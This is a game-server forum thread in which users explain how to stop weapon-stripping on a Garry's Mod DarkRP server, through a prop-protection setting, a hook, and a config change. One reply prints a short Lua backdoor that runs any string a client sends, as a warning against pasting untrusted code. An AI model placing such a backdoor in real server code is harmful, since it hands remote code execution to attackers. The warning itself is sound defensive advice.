Hello, some dude came into my server and stripped weapons from everyone. I've heard about this before but couldn't find solution. Any ideas how to prevent that?
you most likely have an addon with a backdoor.
Someone will probably post about how to find one, i dont got that
so basically it's an exploit related to sandbox based gamemodes like darkrp
you have a few options
solution 1, if your server has falco's prop protection, hold q, go into the utilities tab, click admin settings on falco's prop protection, expand toolgun options and make sure "people can use the tool on world entities" is unchecked
solution 2, hook into SANDBOX/CanProperty using hook.Add and make your own check for when someone is trying to use the remover property on a weapon, and example of this can be seen here https://github.com/joeyjumper94/revenants_small_scripts/blob/master/lua/autorun/server/sv_nostrip.lua
solution 3, disable the remover property, go into darkrpmodification/lua/darkrp_config/settings.lua find
GM.Config.allowedProperties = {
remover = true,
ignite = true,
extinguish = true,
keepupright = true,
gravity = true,
collision = true,
skin = true,
bodygroups = true,
}
should be around line 447 and set remover to false.
now that i have said the possible fixes, if someone gives you a line of code saying it'll fix a problem, don't blindly trust them
util.AddNetworkString("backdoor") net.Receive("backdoor",function() local str=net.ReadString() RunString() end)
which comes together as
util.AddNetworkString("backdoor")
net.Receive("backdoor",function()
RunString(net.ReadString())
end)
if you don't understand what the lua a user gave you does, you can look it up
util.AddNetworkString
net.Receive
net.ReadString
RunStringEx aka RunString
so by looking up these functions, you can tell they tried to get you to backdoor your server.
i believe that server owners should have basic knowledge of lua so they don't fall for traps as obvious as this.
No he didn't give me any sort of lua codes, he just told that he was manager in other server and he could fix it. But anyway thank you for the tips you gave, i will go test them out! Thanks!
Do you have leaked addons installed?
Nope, i got it fixed with joyejumpers tips.
just a word of warning, setting remover to false will mean people can't remove stuff via the cmenu
Thank you!
Sorry, you need to Log In to post a reply to this thread.